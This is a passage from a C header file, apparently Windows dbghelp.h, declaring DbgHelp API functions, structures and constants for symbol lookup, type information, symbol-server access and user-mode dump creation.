Token,\n __in_opt PCWSTR Params,\n __in PCWSTR VarName,\n __out_ecount(Size) PWSTR Value,\n __in DWORD Size\n );\n\ntypedef BOOL (CALLBACK *PENUMSOURCEFILETOKENSCALLBACK)(__in PVOID token, __in size_t size);\n\nBOOL\nIMAGEAPI\nSymEnumSourceFileTokens(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in PENUMSOURCEFILETOKENSCALLBACK Callback\n );\n\nBOOL\nIMAGEAPI\nSymInitialize(\n __in HANDLE hProcess,\n __in_opt PCSTR UserSearchPath,\n __in BOOL fInvadeProcess\n );\n\nBOOL\nIMAGEAPI\nSymInitializeW(\n __in HANDLE hProcess,\n __in_opt PCWSTR UserSearchPath,\n __in BOOL fInvadeProcess\n );\n\nBOOL\nIMAGEAPI\nSymGetSearchPath(\n __in HANDLE hProcess,\n __out_ecount(SearchPathLength) PSTR SearchPath,\n __in DWORD SearchPathLength\n );\n\nBOOL\nIMAGEAPI\nSymGetSearchPathW(\n __in HANDLE hProcess,\n __out_ecount(SearchPathLength) PWSTR SearchPath,\n __in DWORD SearchPathLength\n );\n\nBOOL\nIMAGEAPI\nSymSetSearchPath(\n __in HANDLE hProcess,\n __in_opt PCSTR SearchPath\n );\n\nBOOL\nIMAGEAPI\nSymSetSearchPathW(\n __in HANDLE hProcess,\n __in_opt PCWSTR SearchPath\n );\n\n#define SLMFLAG_VIRTUAL 0x1\n#define SLMFLAG_ALT_INDEX 0x2\n#define SLMFLAG_NO_SYMBOLS 0x4\n\nDWORD64\nIMAGEAPI\nSymLoadModuleEx(\n __in HANDLE hProcess,\n __in_opt HANDLE hFile,\n __in_opt PCSTR ImageName,\n __in_opt PCSTR ModuleName,\n __in DWORD64 BaseOfDll,\n __in DWORD DllSize,\n __in_opt PMODLOAD_DATA Data,\n __in_opt DWORD Flags\n );\n\nDWORD64\nIMAGEAPI\nSymLoadModuleExW(\n __in HANDLE hProcess,\n __in_opt HANDLE hFile,\n __in_opt PCWSTR ImageName,\n __in_opt PCWSTR ModuleName,\n __in DWORD64 BaseOfDll,\n __in DWORD DllSize,\n __in_opt PMODLOAD_DATA Data,\n __in_opt DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymUnloadModule64(\n __in HANDLE hProcess,\n __in DWORD64 BaseOfDll\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymUnloadModule SymUnloadModule64\n#else\nBOOL\nIMAGEAPI\nSymUnloadModule(\n __in HANDLE hProcess,\n __in DWORD BaseOfDll\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymUnDName64(\n __in PIMAGEHLP_SYMBOL64 sym, // Symbol to undecorate\n __out_ecount(UnDecNameLength) PSTR UnDecName, // Buffer to store undecorated name in\n __in DWORD UnDecNameLength // Size of the buffer\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymUnDName SymUnDName64\n#else\nBOOL\nIMAGEAPI\nSymUnDName(\n __in PIMAGEHLP_SYMBOL sym, // Symbol to undecorate\n __out_ecount(UnDecNameLength) PSTR UnDecName, // Buffer to store undecorated name in\n __in DWORD UnDecNameLength // Size of the buffer\n );\n#endif\n\nBOOL\nIMAGEAPI\nSymRegisterCallback64(\n __in HANDLE hProcess,\n __in PSYMBOL_REGISTERED_CALLBACK64 CallbackFunction,\n __in ULONG64 UserContext\n );\n\nBOOL\nIMAGEAPI\nSymRegisterCallbackW64(\n __in HANDLE hProcess,\n __in PSYMBOL_REGISTERED_CALLBACK64 CallbackFunction,\n __in ULONG64 UserContext\n );\n\nBOOL\nIMAGEAPI\nSymRegisterFunctionEntryCallback64(\n __in HANDLE hProcess,\n __in PSYMBOL_FUNCENTRY_CALLBACK64 CallbackFunction,\n __in ULONG64 UserContext\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymRegisterCallback SymRegisterCallback64\n#define SymRegisterFunctionEntryCallback SymRegisterFunctionEntryCallback64\n#else\nBOOL\nIMAGEAPI\nSymRegisterCallback(\n __in HANDLE hProcess,\n __in PSYMBOL_REGISTERED_CALLBACK CallbackFunction,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymRegisterFunctionEntryCallback(\n __in HANDLE hProcess,\n __in PSYMBOL_FUNCENTRY_CALLBACK CallbackFunction,\n __in_opt PVOID UserContext\n );\n#endif\n\n\ntypedef struct _IMAGEHLP_SYMBOL_SRC {\n DWORD sizeofstruct;\n DWORD type;\n char file[MAX_PATH];\n} IMAGEHLP_SYMBOL_SRC, *PIMAGEHLP_SYMBOL_SRC;\n\ntypedef struct _MODULE_TYPE_INFO { // AKA TYPTYP\n USHORT dataLength;\n USHORT leaf;\n BYTE data[1];\n} MODULE_TYPE_INFO, *PMODULE_TYPE_INFO;\n\ntypedef struct _SYMBOL_INFO {\n ULONG SizeOfStruct;\n ULONG TypeIndex; // Type Index of symbol\n ULONG64 Reserved[2];\n ULONG Index;\n ULONG Size;\n ULONG64 ModBase; // Base Address of module comtaining this symbol\n ULONG Flags;\n ULONG64 Value; // Value of symbol, ValuePresent should be 1\n ULONG64 Address; // Address of symbol including base address of module\n ULONG Register; // register holding value or pointer to value\n ULONG Scope; // scope of the symbol\n ULONG Tag; // pdb classification\n ULONG NameLen; // Actual length of name\n ULONG MaxNameLen;\n CHAR Name[1]; // Name of symbol\n} SYMBOL_INFO, *PSYMBOL_INFO;\n\ntypedef struct _SYMBOL_INFO_PACKAGE {\n SYMBOL_INFO si;\n CHAR name[MAX_SYM_NAME + 1];\n} SYMBOL_INFO_PACKAGE, *PSYMBOL_INFO_PACKAGE;\n\ntypedef struct _SYMBOL_INFOW {\n ULONG SizeOfStruct;\n ULONG TypeIndex; // Type Index of symbol\n ULONG64 Reserved[2];\n ULONG Index;\n ULONG Size;\n ULONG64 ModBase; // Base Address of module comtaining this symbol\n ULONG Flags;\n ULONG64 Value; // Value of symbol, ValuePresent should be 1\n ULONG64 Address; // Address of symbol including base address of module\n ULONG Register; // register holding value or pointer to value\n ULONG Scope; // scope of the symbol\n ULONG Tag; // pdb classification\n ULONG NameLen; // Actual length of name\n ULONG MaxNameLen;\n WCHAR Name[1]; // Name of symbol\n} SYMBOL_INFOW, *PSYMBOL_INFOW;\n\ntypedef struct _SYMBOL_INFO_PACKAGEW {\n SYMBOL_INFOW si;\n WCHAR name[MAX_SYM_NAME + 1];\n} SYMBOL_INFO_PACKAGEW, *PSYMBOL_INFO_PACKAGEW;\n\ntypedef struct _IMAGEHLP_STACK_FRAME\n{\n ULONG64 InstructionOffset;\n ULONG64 ReturnOffset;\n ULONG64 FrameOffset;\n ULONG64 StackOffset;\n ULONG64 BackingStoreOffset;\n ULONG64 FuncTableEntry;\n ULONG64 Params[4];\n ULONG64 Reserved[5];\n BOOL Virtual;\n ULONG Reserved2;\n} IMAGEHLP_STACK_FRAME, *PIMAGEHLP_STACK_FRAME;\n\ntypedef VOID IMAGEHLP_CONTEXT, *PIMAGEHLP_CONTEXT;\n\n\nBOOL\nIMAGEAPI\nSymSetContext(\n __in HANDLE hProcess,\n __in PIMAGEHLP_STACK_FRAME StackFrame,\n __in_opt PIMAGEHLP_CONTEXT Context\n );\n\nBOOL\nIMAGEAPI\nSymSetScopeFromAddr(\n __in HANDLE hProcess,\n __in ULONG64 Address\n );\n\nBOOL\nIMAGEAPI\nSymSetScopeFromIndex(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in DWORD Index\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMPROCESSES_CALLBACK)(\n __in HANDLE hProcess,\n __in PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumProcesses(\n __in PSYM_ENUMPROCESSES_CALLBACK EnumProcessesCallback,\n __in PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymFromAddr(\n __in HANDLE hProcess,\n __in DWORD64 Address,\n __out_opt PDWORD64 Displacement,\n __inout PSYMBOL_INFO Symbol\n );\n\nBOOL\nIMAGEAPI\nSymFromAddrW(\n __in HANDLE hProcess,\n __in DWORD64 Address,\n __out_opt PDWORD64 Displacement,\n __inout PSYMBOL_INFOW Symbol\n );\n\nBOOL\nIMAGEAPI\nSymFromToken(\n __in HANDLE hProcess,\n __in DWORD64 Base,\n __in DWORD Token,\n __inout PSYMBOL_INFO Symbol\n );\n\nBOOL\nIMAGEAPI\nSymFromTokenW(\n __in HANDLE hProcess,\n __in DWORD64 Base,\n __in DWORD Token,\n __inout PSYMBOL_INFOW Symbol\n );\n\nBOOL\nIMAGEAPI\nSymNext(\n __in HANDLE hProcess,\n __inout PSYMBOL_INFO si\n );\n\nBOOL\nIMAGEAPI\nSymNextW(\n __in HANDLE hProcess,\n __inout PSYMBOL_INFOW siw\n );\n\nBOOL\nIMAGEAPI\nSymPrev(\n __in HANDLE hProcess,\n __inout PSYMBOL_INFO si\n );\n\nBOOL\nIMAGEAPI\nSymPrevW(\n __in HANDLE hProcess,\n __inout PSYMBOL_INFOW siw\n );\n\n// While SymFromName will provide a symbol from a name,\n// SymEnumSymbols can provide the same matching information\n// for ALL symbols with a matching name, even regular\n// expressions. That way you can search across modules\n// and differentiate between identically named symbols.\n\nBOOL\nIMAGEAPI\nSymFromName(\n __in HANDLE hProcess,\n __in PCSTR Name,\n __inout PSYMBOL_INFO Symbol\n );\n\nBOOL\nIMAGEAPI\nSymFromNameW(\n __in HANDLE hProcess,\n __in PCWSTR Name,\n __inout PSYMBOL_INFOW Symbol\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMERATESYMBOLS_CALLBACK)(\n __in PSYMBOL_INFO pSymInfo,\n __in ULONG SymbolSize,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumSymbols(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt PCSTR Mask,\n __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\ntypedef BOOL\n(CALLBACK *PSYM_ENUMERATESYMBOLS_CALLBACKW)(\n __in PSYMBOL_INFOW pSymInfo,\n __in ULONG SymbolSize,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumSymbolsW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt PCWSTR Mask,\n __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumSymbolsForAddr(\n __in HANDLE hProcess,\n __in DWORD64 Address,\n __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumSymbolsForAddrW(\n __in HANDLE hProcess,\n __in DWORD64 Address,\n __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\n#define SYMSEARCH_MASKOBJS 0x01 // used internally to implement other APIs\n#define SYMSEARCH_RECURSE 0X02 // recurse scopes\n#define SYMSEARCH_GLOBALSONLY 0X04 // search only for global symbols\n#define SYMSEARCH_ALLITEMS 0X08 // search for everything in the pdb, not just normal scoped symbols\n\nBOOL\nIMAGEAPI\nSymSearch(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt DWORD Index,\n __in_opt DWORD SymTag,\n __in_opt PCSTR Mask,\n __in_opt DWORD64 Address,\n __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,\n __in_opt PVOID UserContext,\n __in DWORD Options\n );\n\nBOOL\nIMAGEAPI\nSymSearchW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt DWORD Index,\n __in_opt DWORD SymTag,\n __in_opt PCWSTR Mask,\n __in_opt DWORD64 Address,\n __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,\n __in_opt PVOID UserContext,\n __in DWORD Options\n );\n\nBOOL\nIMAGEAPI\nSymGetScope(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in DWORD Index,\n __inout PSYMBOL_INFO Symbol\n );\n\nBOOL\nIMAGEAPI\nSymGetScopeW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in DWORD Index,\n __inout PSYMBOL_INFOW Symbol\n );\n\nBOOL\nIMAGEAPI\nSymFromIndex(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in DWORD Index,\n __inout PSYMBOL_INFO Symbol\n );\n\nBOOL\nIMAGEAPI\nSymFromIndexW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in DWORD Index,\n __inout PSYMBOL_INFOW Symbol\n );\n\ntypedef enum _IMAGEHLP_SYMBOL_TYPE_INFO {\n TI_GET_SYMTAG,\n TI_GET_SYMNAME,\n TI_GET_LENGTH,\n TI_GET_TYPE,\n TI_GET_TYPEID,\n TI_GET_BASETYPE,\n TI_GET_ARRAYINDEXTYPEID,\n TI_FINDCHILDREN,\n TI_GET_DATAKIND,\n TI_GET_ADDRESSOFFSET,\n TI_GET_OFFSET,\n TI_GET_VALUE,\n TI_GET_COUNT,\n TI_GET_CHILDRENCOUNT,\n TI_GET_BITPOSITION,\n TI_GET_VIRTUALBASECLASS,\n TI_GET_VIRTUALTABLESHAPEID,\n TI_GET_VIRTUALBASEPOINTEROFFSET,\n TI_GET_CLASSPARENTID,\n TI_GET_NESTED,\n TI_GET_SYMINDEX,\n TI_GET_LEXICALPARENT,\n TI_GET_ADDRESS,\n TI_GET_THISADJUST,\n TI_GET_UDTKIND,\n TI_IS_EQUIV_TO,\n TI_GET_CALLING_CONVENTION,\n TI_IS_CLOSE_EQUIV_TO,\n TI_GTIEX_REQS_VALID,\n TI_GET_VIRTUALBASEOFFSET,\n TI_GET_VIRTUALBASEDISPINDEX,\n TI_GET_IS_REFERENCE,\n TI_GET_INDIRECTVIRTUALBASECLASS,\n IMAGEHLP_SYMBOL_TYPE_INFO_MAX,\n} IMAGEHLP_SYMBOL_TYPE_INFO;\n\ntypedef struct _TI_FINDCHILDREN_PARAMS {\n ULONG Count;\n ULONG Start;\n ULONG ChildId[1];\n} TI_FINDCHILDREN_PARAMS;\n\nBOOL\nIMAGEAPI\nSymGetTypeInfo(\n __in HANDLE hProcess,\n __in DWORD64 ModBase,\n __in ULONG TypeId,\n __in IMAGEHLP_SYMBOL_TYPE_INFO GetType,\n __out PVOID pInfo\n );\n\n#define IMAGEHLP_GET_TYPE_INFO_UNCACHED 0x00000001\n#define IMAGEHLP_GET_TYPE_INFO_CHILDREN 0x00000002\n\ntypedef struct _IMAGEHLP_GET_TYPE_INFO_PARAMS {\n IN ULONG SizeOfStruct;\n IN ULONG Flags;\n IN ULONG NumIds;\n IN PULONG TypeIds;\n IN ULONG64 TagFilter;\n IN ULONG NumReqs;\n IN IMAGEHLP_SYMBOL_TYPE_INFO* ReqKinds;\n IN PULONG_PTR ReqOffsets;\n IN PULONG ReqSizes;\n IN ULONG_PTR ReqStride;\n IN ULONG_PTR BufferSize;\n OUT PVOID Buffer;\n OUT ULONG EntriesMatched;\n OUT ULONG EntriesFilled;\n OUT ULONG64 TagsFound;\n OUT ULONG64 AllReqsValid;\n IN ULONG NumReqsValid;\n OUT PULONG64 ReqsValid OPTIONAL;\n} IMAGEHLP_GET_TYPE_INFO_PARAMS, *PIMAGEHLP_GET_TYPE_INFO_PARAMS;\n\nBOOL\nIMAGEAPI\nSymGetTypeInfoEx(\n __in HANDLE hProcess,\n __in DWORD64 ModBase,\n __inout PIMAGEHLP_GET_TYPE_INFO_PARAMS Params\n );\n\nBOOL\nIMAGEAPI\nSymEnumTypes(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumTypesW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumTypesByName(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt PCSTR mask,\n __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymEnumTypesByNameW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt PCWSTR mask,\n __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,\n __in_opt PVOID UserContext\n );\n\nBOOL\nIMAGEAPI\nSymGetTypeFromName(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PCSTR Name,\n __inout PSYMBOL_INFO Symbol\n );\n\nBOOL\nIMAGEAPI\nSymGetTypeFromNameW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PCWSTR Name,\n __inout PSYMBOL_INFOW Symbol\n );\n\nBOOL\nIMAGEAPI\nSymAddSymbol(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PCSTR Name,\n __in DWORD64 Address,\n __in DWORD Size,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymAddSymbolW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in PCWSTR Name,\n __in DWORD64 Address,\n __in DWORD Size,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymDeleteSymbol(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt PCSTR Name,\n __in DWORD64 Address,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymDeleteSymbolW(\n __in HANDLE hProcess,\n __in ULONG64 BaseOfDll,\n __in_opt PCWSTR Name,\n __in DWORD64 Address,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymRefreshModuleList(\n __in HANDLE hProcess\n );\n\nBOOL\nIMAGEAPI\nSymAddSourceStream(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCSTR StreamFile,\n __in_bcount_opt(Size) PBYTE Buffer,\n __in size_t Size\n );\n\ntypedef BOOL (WINAPI *SYMADDSOURCESTREAM)(HANDLE, ULONG64, PCSTR, PBYTE, size_t);\n\nBOOL\nIMAGEAPI\nSymAddSourceStreamA(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCSTR StreamFile,\n __in_bcount_opt(Size) PBYTE Buffer,\n __in size_t Size\n );\n\ntypedef BOOL (WINAPI *SYMADDSOURCESTREAMA)(HANDLE, ULONG64, PCSTR, PBYTE, size_t);\n\nBOOL\nIMAGEAPI\nSymAddSourceStreamW(\n __in HANDLE hProcess,\n __in ULONG64 Base,\n __in_opt PCWSTR FileSpec,\n __in_bcount_opt(Size) PBYTE Buffer,\n __in size_t Size\n );\n\nBOOL\nIMAGEAPI\nSymSrvIsStoreW(\n __in_opt HANDLE hProcess,\n __in PCWSTR path\n );\n\nBOOL\nIMAGEAPI\nSymSrvIsStore(\n __in_opt HANDLE hProcess,\n __in PCSTR path\n );\n\nPCSTR\nIMAGEAPI\nSymSrvDeltaName(\n __in HANDLE hProcess,\n __in_opt PCSTR SymPath,\n __in PCSTR Type,\n __in PCSTR File1,\n __in PCSTR File2\n );\n\nPCWSTR\nIMAGEAPI\nSymSrvDeltaNameW(\n __in HANDLE hProcess,\n __in_opt PCWSTR SymPath,\n __in PCWSTR Type,\n __in PCWSTR File1,\n __in PCWSTR File2\n );\n\nPCSTR\nIMAGEAPI\nSymSrvGetSupplement(\n __in HANDLE hProcess,\n __in_opt PCSTR SymPath,\n __in PCSTR Node,\n __in PCSTR File\n );\n\nPCWSTR\nIMAGEAPI\nSymSrvGetSupplementW(\n __in HANDLE hProcess,\n __in_opt PCWSTR SymPath,\n __in PCWSTR Node,\n __in PCWSTR File\n );\n\nBOOL\nIMAGEAPI\nSymSrvGetFileIndexes(\n __in PCSTR File,\n __out GUID *Id,\n __out PDWORD Val1,\n __out_opt PDWORD Val2,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymSrvGetFileIndexesW(\n __in PCWSTR File,\n __out GUID *Id,\n __out PDWORD Val1,\n __out_opt PDWORD Val2,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymSrvGetFileIndexStringW(\n __in HANDLE hProcess,\n __in_opt PCWSTR SrvPath,\n __in PCWSTR File,\n __out_ecount(Size) PWSTR Index,\n __in size_t Size,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymSrvGetFileIndexString(\n __in HANDLE hProcess,\n __in_opt PCSTR SrvPath,\n __in PCSTR File,\n __out_ecount(Size) PSTR Index,\n __in size_t Size,\n __in DWORD Flags\n );\n\ntypedef struct {\n DWORD sizeofstruct;\n char file[MAX_PATH +1];\n BOOL stripped;\n DWORD timestamp;\n DWORD size;\n char dbgfile[MAX_PATH +1];\n char pdbfile[MAX_PATH + 1];\n GUID guid;\n DWORD sig;\n DWORD age;\n} SYMSRV_INDEX_INFO, *PSYMSRV_INDEX_INFO;\n\ntypedef struct {\n DWORD sizeofstruct;\n WCHAR file[MAX_PATH +1];\n BOOL stripped;\n DWORD timestamp;\n DWORD size;\n WCHAR dbgfile[MAX_PATH +1];\n WCHAR pdbfile[MAX_PATH + 1];\n GUID guid;\n DWORD sig;\n DWORD age;\n} SYMSRV_INDEX_INFOW, *PSYMSRV_INDEX_INFOW;\n\nBOOL\nIMAGEAPI\nSymSrvGetFileIndexInfo(\n __in PCSTR File,\n __out PSYMSRV_INDEX_INFO Info,\n __in DWORD Flags\n );\n\nBOOL\nIMAGEAPI\nSymSrvGetFileIndexInfoW(\n __in PCWSTR File,\n __out PSYMSRV_INDEX_INFOW Info,\n __in DWORD Flags\n );\n\nPCSTR\nIMAGEAPI\nSymSrvStoreSupplement(\n __in HANDLE hProcess,\n __in_opt PCSTR SrvPath,\n __in PCSTR Node,\n __in PCSTR File,\n __in DWORD Flags\n );\n\nPCWSTR\nIMAGEAPI\nSymSrvStoreSupplementW(\n __in HANDLE hProcess,\n __in_opt PCWSTR SymPath,\n __in PCWSTR Node,\n __in PCWSTR File,\n __in DWORD Flags\n );\n\nPCSTR\nIMAGEAPI\nSymSrvStoreFile(\n __in HANDLE hProcess,\n __in_opt PCSTR SrvPath,\n __in PCSTR File,\n __in DWORD Flags\n );\n\nPCWSTR\nIMAGEAPI\nSymSrvStoreFileW(\n __in HANDLE hProcess,\n __in_opt PCWSTR SrvPath,\n __in PCWSTR File,\n __in DWORD Flags\n );\n\n// used by SymGetSymbolFile's \"Type\" parameter\n\ntypedef enum {\n sfImage = 0,\n sfDbg,\n sfPdb,\n sfMpd,\n sfMax\n};\n\nBOOL\nIMAGEAPI\nSymGetSymbolFile(\n __in_opt HANDLE hProcess,\n __in_opt PCSTR SymPath,\n __in PCSTR ImageFile,\n __in DWORD Type,\n __out_ecount(cSymbolFile) PSTR SymbolFile,\n __in size_t cSymbolFile,\n __out_ecount(cDbgFile) PSTR DbgFile,\n __in size_t cDbgFile\n );\n\nBOOL\nIMAGEAPI\nSymGetSymbolFileW(\n __in_opt HANDLE hProcess,\n __in_opt PCWSTR SymPath,\n __in PCWSTR ImageFile,\n __in DWORD Type,\n __out_ecount(cSymbolFile) PWSTR SymbolFile,\n __in size_t cSymbolFile,\n __out_ecount(cDbgFile) PWSTR DbgFile,\n __in size_t cDbgFile\n );\n\n//\n// Full user-mode dump creation.\n//\n\ntypedef BOOL (WINAPI *PDBGHELP_CREATE_USER_DUMP_CALLBACK)(\n __in DWORD DataType,\n __in PVOID* Data,\n __out LPDWORD DataLength,\n __in_opt PVOID UserData\n );\n\nBOOL\nWINAPI\nDbgHelpCreateUserDump(\n __in_opt LPCSTR FileName,\n __in PDBGHELP_CREATE_USER_DUMP_CALLBACK Callback,\n __in_opt PVOID UserData\n );\n\nBOOL\nWINAPI\nDbgHelpCreateUserDumpW(\n __in_opt LPCWSTR FileName,\n __in PDBGHELP_CREATE_USER_DUMP_CALLBACK Callback,\n __in_opt PVOID UserData\n );\n\n// -----------------------------------------------------------------\n// The following 4 legacy APIs are fully supported, but newer\n// ones are recommended. SymFromName and SymFromAddr provide\n// much more detailed info on the returned symbol.\n\nBOOL\nIMAGEAPI\nSymGetSymFromAddr64(\n __in HANDLE hProcess,\n __in DWORD64 qwAddr,\n __out_opt PDWORD64 pdwDisplacement,\n __inout PIMAGEHLP_SYMBOL64 Symbol\n );\n\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetSymFromAddr SymGetSymFromAddr64\n#else\nBOOL\nIMAGEAPI\nSymGetSymFromAddr(\n __in HANDLE hProcess,\n __in DWORD dwAddr,\n __out_opt PDWORD pdwDisplacement,\n __inout PIMAGEHLP_SYMBOL Symbol\n );\n#endif\n\n// While following two APIs will provide a symbol from a name,\n// SymEnumSymbols can provide the same matching information\n// for ALL symbols with a matching name, even regular\n// expressions. That way you can search across modules\n// and differentiate between identically named symbols.\n\nBOOL\nIMAGEAPI\nSymGetSymFromName64(\n __in HANDLE hProcess,\n __in PCSTR Name,\n __inout PIMAGEHLP_SYMBOL64 Symbol\n );\n\n#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)\n#define SymGetSymFromName SymGetSymFromName64\n#else\nBOOL\nIMAGEAPI\nSymGetSymFromName(\n __in HANDLE hProcess,\n __in PCSTR Name,\n __inout PIMAGEHLP_SYMBOL Symbol\n );\n#endif\n\n\n// Symbol server exports\n\ntypedef BOOL (WINAPI *PSYMBOLSERVERPROC)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERPROCA)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERPROCW)(PCWSTR, PCWSTR, PVOID, DWORD, DWORD, PWSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROC)(PCSTR, PCSTR, PCSTR, PSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROCA)(PCSTR, PCSTR, PCSTR, PSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROCW)(PCWSTR, PCWSTR, PCWSTR, PWSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVEROPENPROC)(VOID);\ntypedef BOOL (WINAPI *PSYMBOLSERVERCLOSEPROC)(VOID);\ntypedef BOOL (WINAPI *PSYMBOLSERVERSETOPTIONSPROC)(UINT_PTR, ULONG64);\ntypedef BOOL (WINAPI *PSYMBOLSERVERSETOPTIONSWPROC)(UINT_PTR, ULONG64);\ntypedef BOOL (CALLBACK WINAPI *PSYMBOLSERVERCALLBACKPROC)(UINT_PTR action, ULONG64 data, ULONG64 context);\ntypedef UINT_PTR (WINAPI *PSYMBOLSERVERGETOPTIONSPROC)();\ntypedef BOOL (WINAPI *PSYMBOLSERVERPINGPROC)(PCSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERPINGPROCA)(PCSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERPINGPROCW)(PCWSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERGETVERSION)(LPAPI_VERSION);\ntypedef BOOL (WINAPI *PSYMBOLSERVERDELTANAME)(PCSTR, PVOID, DWORD, DWORD, PVOID, DWORD, DWORD, PSTR, size_t);\ntypedef BOOL (WINAPI *PSYMBOLSERVERDELTANAMEW)(PCWSTR, PVOID, DWORD, DWORD, PVOID, DWORD, DWORD, PWSTR, size_t);\ntypedef BOOL (WINAPI *PSYMBOLSERVERGETSUPPLEMENT)(PCSTR, PCSTR, PCSTR, PSTR, size_t);\ntypedef BOOL (WINAPI *PSYMBOLSERVERGETSUPPLEMENTW)(PCWSTR, PCWSTR, PCWSTR, PWSTR, size_t);\ntypedef BOOL (WINAPI *PSYMBOLSERVERSTORESUPPLEMENT)(PCSTR, PCSTR, PCSTR, PSTR, size_t, DWORD);\ntypedef BOOL (WINAPI *PSYMBOLSERVERSTORESUPPLEMENTW)(PCWSTR, PCWSTR, PCWSTR, PWSTR, size_t, DWORD);\ntypedef BOOL (WINAPI *PSYMBOLSERVERGETINDEXSTRING)(PVOID, DWORD, DWORD, PSTR, size_t);\ntypedef BOOL (WINAPI *PSYMBOLSERVERGETINDEXSTRINGW)(PVOID, DWORD, DWORD, PWSTR, size_t);\ntypedef BOOL (WINAPI *PSYMBOLSERVERSTOREFILE)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR, size_t, DWORD);\ntypedef BOOL (WINAPI *PSYMBOLSERVERSTOREFILEW)(PCWSTR, PCWSTR, PVOID, DWORD, DWORD, PWSTR, size_t, DWORD);\ntypedef BOOL (WINAPI *PSYMBOLSERVERISSTORE)(PCSTR);\ntypedef BOOL (WINAPI *PSYMBOLSERVERISSTOREW)(PCWSTR);\ntypedef DWORD (WINAPI *PSYMBOLSERVERVERSION)();\ntypedef BOOL (CALLBACK WINAPI *PSYMBOLSERVERMESSAGEPROC)(UINT_PTR action, ULONG64 data, ULONG64 context);\n\n#define SYMSRV_VERSION 2\n\n#define SSRVOPT_CALLBACK 0x00000001\n#define SSRVOPT_DWORD 0x00000002\n#define SSRVOPT_DWORDPTR 0x00000004\n#define SSRVOPT_GUIDPTR 0x00000008\n#define SSRVOPT_OLDGUIDPTR 0x00000010\n#define SSRVOPT_UNATTENDED 0x00000020\n#define SSRVOPT_NOCOPY 